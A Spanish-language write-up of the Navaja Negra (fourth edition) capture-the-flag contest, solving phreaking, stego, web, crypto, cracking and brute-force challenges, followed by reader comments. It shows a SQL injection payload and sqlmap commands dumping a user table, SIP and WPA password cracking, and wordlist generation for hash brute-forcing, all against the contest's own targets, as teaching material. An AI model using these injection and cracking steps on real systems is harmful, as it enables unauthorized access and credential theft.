nn4ed – ctf writeup

navaja negra

 

Resolución de los retos del CTF de Navaja Negra (cuarta edición). Por Pepelux

 

phreak 1

Tras escuchar el audio vemos que la misión es identificar los tonos pulsados en la llamada telefónica. Estos tonos son DTMF y para intentar decodificarlos, lo primero que hacemos es, descargar el fichero de audio y abrirlo con el Audacity (http://audacity.sourceforge.net/) para recortar sólo la parte que nos interesa.

Por tanto, seleccionamos y recortamos la parte de los tonos DTMF y lo guardamos en un nuevo fichero de audio:

audacity

Para decodificar estos tonos podemos utilizar la aplicación de consola Multimon (http://sourceforge.net/projects/multimon/) o bien podemos usar algún servicio online. En mi caso lo cargué en la web: http://dialabc.com/sound/detect/index.html donde nos saca directamente los tonos.

Y el resultado es este:

dtmf

Flag para pasar el reto: 5461765425671065

 

phreak 2

Se trata de una captura de una llamada de VoIP en la que tenemos que obtener el usuario y la contraseña de la cuenta SIP. Para ello vamos a usar los programas SIPDump y SIPCrack (https://sipdump.codeplex.com/) que nos permitirán obtener los usuarios e intentar romper las contraseñas.

Primero con SIPDump obtenemos los usuarios con sus hashes:


$ sudo sipdump -p SipPHK2.pcapng users.txt

SIPdump 0.2 ( MaJoMu | www.codito.de )

---------------------------------------

* Using pcap file 'SipPHK2.pcapng' for sniffing

* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 77.72.169.129 -> 10.0.61.100 (User: 'nn4ed')

* Exiting, sniffed 1 logins

Tras usar SIPDump vemos en el fichero users.txt que hay un único usuario, y que aparece con su hash:


$ cat users.txt

10.0.61.100"77.72.169.129"nn4ed"sip.12voip.com"REGISTER"sip:sip.12voip.com"720058375""""MD5"3c58ee4488a90ad08d67a24b4c2c9beb

Luego lo crackeamos con SIPCrack y un diccionario:


$ sipcrack -w dic.txt users.txt

SIPcrack 0.2 ( MaJoMu | www.codito.de )

----------------------------------------

* Found Accounts:

Num Server Client User Hash|Password

1 10.0.61.100 77.72.169.129 nn4ed 3c58ee4488a90ad08d67a24b4c2c9beb

* Select which entry to crack (1 - 1): 1

* Generating static MD5 hash... 14ac1cae34f4c3f9b7471887f1a24a8e

* Loaded wordlist: 'dic.txt'

* Starting bruteforce against user 'nn4ed' (MD5: '3c58ee4488a90ad08d67a24b4c2c9beb')

* Tried 4 passwords in 0 seconds

* Found password: 'passw'

* Updating dump file 'sip.dmp'... done

La contraseña encontrada es: passw

Flag para pasar el reto: 3c58ee4488a90ad08d67a24b4c2c9beb:passw

NOTA: A pesar de tener el MD5, que podemos ver directamente desde la captura de paquetes y, usando por ejemplo Wireshark, este no puede crackearse con aplicaciones como John the Ripper dado que el hash no corresponde con la contraseña del usuario sino que, tal y como comento en un post de mi blog (http://blog.pepelux.org/2012/08/11/asterisk-sip-cracking/), ese hash se genera con la combinación de varios factores, por lo que, o creamos un script diseñado para ello o usamos SIPCrack.

Como culturilla, la forma de romper la contraseña es la siguiente (donde response es el hash que hemos obtenido con el SIPDump):


response = md5(A:nonce:B)

-> nonce recordemos que nos lo facilita el servidor tras el primer REGISTER

A = md5(user:realm:pass)

-> user es nuestro usuario, que podemos ver, en claro, en el primer REGISTER
-> realm también nos lo facilita el servidor tras el primer REGISTER
-> pass es la contraseña del usuario que desconocemos

B = md5(REGISTER:uri)

-> REGISTER es esa palabra tal cual
-> uri la podemos ver también en el primer paquete y tiene la forma 'sip:host.com'

stego 1

Nos facilitan una imagen con un supuesto mensaje escondido. Antes de comenzar a probar las diferentes aplicaciones de esteganografía, lo primero que hacemos, tras descargarla, es usar el comando Strings para ver lo que tiene. Y en este caso hemos tenido suerte ya que al final del todo aparece una cadena codificada en Base64:


$ strings STG1.jpg
......
......
:ozy:TXkgc2VjcmV0IGNvZGU6IDFlZjFkODM0NzMzMWFmYjc1YjgyMjgxOWZkNGU2ZDNiIA==

Si decodificamos la cadena vemos: My secret code: 1ef1d8347331afb75b822819fd4e6d3b

Flag para pasar el reto: 1ef1d8347331afb75b822819fd4e6d3b

 

stego 2

En este caso tenemos un fichero de audio, concretamente un MP3.

Tras pasar un buen rato con el Audacity sin sacar nada en claro decidí probar con el Stegspy (http://www.spy-hunter.com/stegspydownload.htm) que es capaz de identificar o reconocer diferentes aplicaciones de esteganografía, identificando la aplicación con la que se ha escondido el mensaje. Stegspy nos dice que hay un mensaje escondido usando Hiderman, de manera que descargamos una versión de pruebas de esta aplicación (http://www.softsea.com/review/Hiderman.html), pero tras ejecutarla nos dice que en ese MP3 no se ha aplicado ningún tipo de esteganografía con Hiderman.

Finalmente y tras varias pruebas, vemos que sale algo recorriendo e imprimiendo bloques del fichero. Para ello he utilizado este script en Python:


import sys
infile = open('super2.mp3','rb')
try:
buff = infile.read()
finally:
infile.close
for y in range(1,1000):
for x in range(0,69):
sys.stdout.write(buff[y*x])
sys.stdout.write(' ')

Ejecutamos el script y buscando entre toda la salida vemos la solución para pasar el reto:


$ python stego2.py | strings | more

python_stego2

Flag para pasar el reto: 53v3n-515t3r5-Messier45

 

web 1

Al entrar en el enlace vemos que aparece un botón en la pantalla que al intentar pulsarlo se mueve. Como no tenemos mucho tiempo para jugar al gato y al ratón, le damos al tabulador y se pone el cursor encima, permitiéndonos clickearlo:

 

web1

La verdad es que es una gran tontería porque viendo el código fuente de la página te evitas esto, pero es ver un botón moviéndose y nos volvemos locos intentando clickearlo 🙂

Bueno, viendo el código fuente de la página tampoco aparece nada nuevo por lo que finalmente decidí descargarla:


$ wget http://ctf.navajanegra.com/

Tras hacer un Cat vemos el buscado password:


$ cat WEB%201.php

..........

Password: 6e3e92ebfcec506d0cc56f24a929ac11

Click Here!

 

Flag para pasar el reto: 6e3e92ebfcec506d0cc56f24a929ac11

 

web 2

Accedemos a una página que nos pide un usuario y una contraseña. Tal y como nos dice el enunciado, tenemos que realizar algún tipo de inyección para pasar el reto.

Tras probar la inyección típica (‘ or ‘a’=’a) vemos que nos sale un mensaje en pantalla diciendo que el usuario root es correcto pero que la contraseña no:

 

web2

Así que usamos SQLMap (http://sqlmap.org/) para extraer los datos, realizando las inyecciones en el segundo parámetro y dejando el usuario=root.

Primero consultamos las bases de datos:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --dbs

available databases [2]:

[*] information_schema

[*] users

Luego las tablas para la base de datos ‘users’:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --tables -D users

Database: users

[1 table]

+-------+

| users |

+-------+

Después extraemos, por curiosidad, las columnas de la tabla ‘users.users’:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --columns -T users -D users

Database: users

Table: users

[2 columns]

+--------+-------------+

| Column | Type |

+--------+-------------+

| user | varchar(10) |

| pass | varchar(20) |

+--------+-------------+

Y finalmente sacamos los datos de esa tabla:


$ ./sqlmap.py -u "http://ctf.navajanegra.com/web2.php?u=root&p=X" --dump -T users -D users

Database: users

Table: users

[1 entry]

+----------------------+--------+

| pass | user |

+----------------------+--------+

| 78a2109f8519940bb553 | root |

+----------------------+--------+

Flag para pasar el reto: 78a2109f8519940bb553

 

crypto 1

El script es muy sencillo de entender; lo que hace es comprobar los últimos 10 caracteres de un hash, por lo que tenemos que encontrar un hash válido que cumpla esto. Es decir, necesitamos averiguar los 22 primeros caracteres de ese hash de MD5. Ahora, la tarea no es tan sencilla, dado que una búsqueda por Internet en bases de datos de hashes no da ningún resultado, ya que está incompleto. Lo mismo ocurre con las Rainbow Tables, ya que no nos permiten realizar listados de hashes ni búsquedas usando máscaras.

Por otro lado, generar todas las combinaciones de hashes que terminen en 8cf8c3dbc1 tampoco es viable porque son 22 caracteres usando el alfabeto abcdef0123456789, lo que supone muchos gigas en hashes y luego comparar cada uno de ellos en las Rainbow Tables.

Lo más sencillo es alterar el script y probar diferentes diccionarios. Pero tras muchas horas no conseguí dar con la contraseña. Como se trata de un trozo de hash, la única forma es esta, probando diccionarios. Y ya que no sale con los wordlist más conocidos y no tengo equipo ni tiempo de CTF para probar por fuerza bruta todas las combinaciones, decidí probar con las palabras que aparecen en la propia web. Tampoco hubo éxito.

Finalmente, usando este wordlist generado con las propias palabras de la web de Navaja Negra, y combinando diferentes reglas de John the Ripper, apareció la solución:

Primero generamos las palabras de la web de navajanegra.com y ctf.navajanegra.com y las unimos en un fichero. Para ello usé la aplicación Cewl (http://digi.ninja/projects/cewl.php):


$ ./cewl.rb -v http://navajanegra.com -w nndic.txt

$ ./cewl.rb -v http://ctf.navajanegra.com -w nndic2.txt

$ cat nndic* | sort | uniq > nndic3.txt

Generamos listas de palabras con diferentes reglas de John the Ripper hasta dar con una que encuentre el resultado (esto al leerlo parece algo sencillo pero fueron 3 días enteros probando y combinando diferentes listas de palabras):


$ ./john --stdout --wordlist=/home/pepelux/tmp/cewl/nndic3.txt --rules:KoreLogicRulesPrependSpecialAppendSpecial > /home/pepelux/tmp/cewl/final.txt

$ ./john --stdout --wordlist=/home/pepelux/tmp/cewl/final.txt --rules:KoreLogicRulesReplaceLettersCaps > /home/pepelux/tmp/cewl/final2.txt

Como obtenemos un fichero demasiado grande, lo dividimos en varios ficheros más pequeños para poder trabajar con él:


$ split -l 100000 final2.txt

A través de un pequeño script, generamos el MD5 de cada palabra del diccionario creado, y vamos comparando esa porción del hash, en busca de coincidencias. Y tras varias horas más:


$ perl md5.pl

….....
-Ozyart- - 1d51147e10df24b73794688cf8c3dbc1

FOUND!

El script que usé es este:


use strict;
use warnings;
use English;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $dir = '.';

foreach my $fp (glob("$dir/x*")) {
printf "%s\n", $fp;
open my $fh, "<", $fp or die "can't read open '$fp': $OS_ERROR";

while (<$fh>) {
chomp;

printf $_." - ".md5_hex($_)."\n";

if (md5_hex($_) =~ /8cf8c3dbc1$/) {
print "FOUND!\n";
exit;
}
}

close $fh or die "can't read close '$fp': $OS_ERROR";
}

 

Flag para pasar el reto: 1d51147e10df24b73794688cf8c3dbc1

 

crypto 2

Este reto lo puedes resolver en 1 minuto o pegarte con él durante horas. En este caso, si restamos 20h a cada número obtenemos un texto en claro:


53 65 63 72 65 74 20 63 6f 64 65 3a 20 61 33 66
61 38 35 66 37 33 64 35 35 36 35 64 62 35 37 37
30 39 35 64 32 38 33 65 66 37 36 35 31

Que en ASCII es:

Secret code: a3fa85f73d5565db577095d283ef7651

Flag para pasar el reto: a3fa85f73d5565db577095d283ef7651

 

crack 1

Con ayuda del OllyDbg (http://www.ollydbg.de/) y del ImpREC quitamos la protección UPX y reconstruimos los enlaces del binario (hay muchísimos manuales en Internet de cómo hacer esto y es relativamente sencillo). Finalmente obtenemos un nuevo ejecutable limpio, sin ningún packer que ofusque el código.

Abrimos el nuevo fichero con el OllyDbg y analizando un poco la zona caliente del código nos encontramos esto:

 

ollydbg

Probamos como solución:


User: Albacete
Pass: ...N....N

crack2

Flag para pasar el reto: 0047c0baeb5faccc8a71319c72fa6af2

 

crack 2

En este caso tenemos un binario para Linux. Jugamos un poco con él y vemos que nos da dos resultados diferentes:


$ ./crackMe2

Enter you serial number A:aaaa

Enter you serial number B:

Tray Again!

$ ./crackMe2

Enter you serial number A:12121212

Enter you serial number B:12121212

Bad Hacker!

Usando Strings no vemos nada interesante:


$ strings crackMe2
/lib/ld-linux.so.2
n-Z:
libc.so.6
_IO_stdin_used
__isoc99_scanf
puts
printf
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.0
PTRh
9D$ |
9D$ |
[^_]
Enter you serial number A:
Enter you serial number B:
Serial number Correct!
Tray Again!
Bad Hacker!
;*2$"(

Si lo abrimos con el IDA y reconstruimos el código en C con Hex-Rays, vemos esto:

 

ida

Como se puede apreciar, se trata de la multiplicación de 2 números que den como resultado 803292082067. El único factor posible para este número es 880543 x 912269. Esto lo podemos obtener en cualquiera de las múltiples páginas en Internet que permiten factorizar números complejos. Por ejemplo esta (http://es.ncalculators.com/number-conversion/prime-factorization-calculadora.htm):

 

factorizar

 


$ ./crackMe2

Enter you serial number A:880543

Enter you serial number B:912269

Serial number Correct!

Flag para pasar el reto: 3310cd38956c9a35abae340d91f42925

 

extra

Al pinchar en la imagen accedemos a una página que no ofrece mucha información, al menos a primera vista:

 

extra_1

Tras dar muchas vueltas y probar como flag varias combinaciones con 007, buscar contraseñas que aparezcan en películas de James Bond, y perder algo de tiempo en Google, al final el truco estaba en meterlo en el User-Agent … esto es una idea feliz de las gordas (no sé qué se había fumado el que hizo este reto, pero que rule!): Agent Number … User Agent … mmmmm

Cambiamos el User-Agent con el TamperData poniendo: 007 y al recargar la página nos aparece otra nueva, con un código QR y un texto:

 

extra_2

El QR, que podemos leer con Zbar (http://zbar.sourceforge.net/) o con nuestra aplicación de móvil favorita, contiene el siguiente mensaje, que tiene toda la pinta de ser un hash: f3807a187fce8cd0d901726ee33331bc

Buscando en Google obtenemos el texto de ese MD5 sin necesidad de usar fuerza bruta, que es: BUDA

La página, además de tener el QR nos decía: Try post the master word on this page!

Tras varias pruebas parece que obtenemos algo metiendo como POST master=BUDA y usando nuevamente como User-Agent 007:


$ curl "user=pepelux; token=xxxxxxxxxx" "http://ctf.navajanegra.com/extra.php" -A 007 -d "master=BUDA"

If you are a <span style="text-decoration: underline;">Guru</span> try <a href="?guru=buda" target="_blank">exploit un program</a> or if you are an Oracle try finish this <a href="game.php?n=13" target="_blank">level</a>!

Ahora nos dice que carguemos por GET la página pasando como parámetro guru=buda

Cargamos http://ctf.navajanegra.com/extra.php?guru=buda con User-Agent 007 y nos aparece un nuevo texto:


Now you need exploit one program!

Download this virtual machine, user:navaja pass:negra

Exploit the program file 'bof1' and recovery the password and send me the md5 of the password!

Descargamos la VM: bof1.ova y la cargamos con VMWare

Entramos con el usuario y contraseña indicado y vemos un binario que, al ejecutarlo nos da una pista:


$ ./bof1
Pista: 0x804874

Para no perder mucho tiempo, bajo el fichero a mi máquina y lo abro con IDA. Buscamos en la dirección que aparece en la pista: 0x804874 y un poco más abajo tenemos la contraseña, que se mostraría en caso de sobrescribir la entrada de datos:

 

ida_extra

Vemos que la contraseña es: GNU/Linux

Flag para pasar el reto: 4a58db979d107ca6300f1be1406b3605

 

brute force 2

Se trata de un fichero IVS donde hay que romper una contraseña de un cifrado WPA.

En este reto también perdí mucho tiempo con diferentes diccionarios hasta que finalmente probé con las propias palabras de la web, generando para ello un diccionario y combinando las palabras obtenidas. Para no liar mucho no voy a poner todas las pruebas realizadas sino sólo la que dio resultado:

Generamos un diccionario con las palabras de la web:


$ ./cewl.rb -v http://navajanegra.com -w nndic.txt

$ ./cewl.rb -v http://ctf.navajanegra.com -w nndic2.txt

$ cat nndic* | sort | uniq > nndic3.txt

Tras pasar el diccionario no se obtuvo ningún resultado así que decidí combinar las palabras de 2 en 2:


$ perl comb.pl > final3.txt

El script:


my $fp = "nndic3.txt";

open my $fh1, "<", $fp or die "can't read open '$fp'";
open my $fh2, "<", $fp or die "can't read open '$fp'";

while (<$fh1>) {
chomp;
my $l = $_;
open my $fh2, "<", $fp or die "can't read open '$fp'";

while (<$fh2>) {
chomp;
printf $l.$_."\n";
}

close $fh2;
}

close $fh1;

Finalmente pasando el Aircrack-ng con esta lista de palabras y, esperando unas cuantas horas más, obtenemos la contraseña:


$ aircrack-ng ../wireless-01.ivs -w final3.txt

 

aircrack-ng

Flag para pasar el reto: f3684b7ad207e768bf5d8fdeef23bd0b

 


 

Conclusiones y agradecimientos

En primer lugar, comentar que aunque al leer el solucionario alguna cosas parecen triviales o sacadas por arte de magia, en algunos casos ha costado muchas horas llegar a esas conclusiones, por ejemplo en el uso y creación de diferentes listas de palabras, ya que como he comentado antes, se han detallado los pasos que han dado un resultado válido, pero no los cientos de pruebas realizadas. Lo comento más que nada para que la gente que es más novata en esto de los CTFs no se desanime. Por ejemplo, para algunas pruebas de fuerza bruta he descargado Rainbow Tables de varios Gb, he generado listas personalizadas con las RainbowCrack, he creado diferentes scripts para combinar y analizar resultados, así como muchos otros caminos que he seguido y que no me han servido de nada.

Por lo general, las pruebas eran bastante sencillas y de no ser por la dureza de los retos de fuerza bruta, se podía terminar en pocas horas. Personalmente creo que un CTF es para pensar cómo resolver desafíos y no para perder horas y horas buscando una contraseña en diferentes listas de palabras. En mi opinión, hubiera estado mejor cambiando las pruebas de fuerza bruta por otros retos con más dificultad pero que se puedan resolver con el intelecto y no con el procesador.

Lo que quiero dar a entender es que puedes tardar en romper un hash 1 día y mientras resolver otras pruebas, pero cuando sólo te quedan 3 retos y los 3 son hashes a romper, con textos incoherentes y de longitud mínima de 8, con caracteres especiales y demás, la cosa se vuelve aburrida ya que dependes de factores como tener un buen equipo o haber sido previsivo y tener grandes listas de palabras en tus discos duros. Durante un reto de 3 o 4 días no puedes bajarte Gigas de datos en diccionarios sólo para eso.

En definitiva, y quitando el mal sabor de boca de las pruebas de fuerza bruta, el CTF ha sido divertido y la gente que jugamos a menudo, sabemos todo el trabajo que hay detrás, por lo que no me queda más que agradecer a toda la organización por haberlo creado, por haber estado en todo momento pendientes del concurso, del Twitter y demás, resolviendo los problemillas que hayan podido surgir, y cómo no, por habernos permitido pasar un buen rato.

Jose Luis Verdeguer aKa Pepelux

 

7 comentarios

  1. Felicidades, que bueno eres. Me gustó mucho tu comentario de último donde haces énfasis que pasaste muchas horas haciendo cientos de pruebas más!

  2. Pfff al final las pruebas de fuerza bruta eran complicadas…. Yo me entere un poco tarde del ctf y pude entrar y resolver algunas pruebas por suerte… aprendi bastante jajaja. Un gran ctf sin duda y no tan dificil para nivel , bueno para los que tienen pocos conocimientos!

  3. Que buen solucionario, felicitaciones a los Organizadores del CTF y a vos Pepelux, por compartir.

  4. Me ha encantado tu manera de resolver el STEGO 2! Esas pocas líneas de tu script dicen mucho de quien las escribe.

    Muchas gracias por compartir este writUp con la comunidad.

Deja un comentario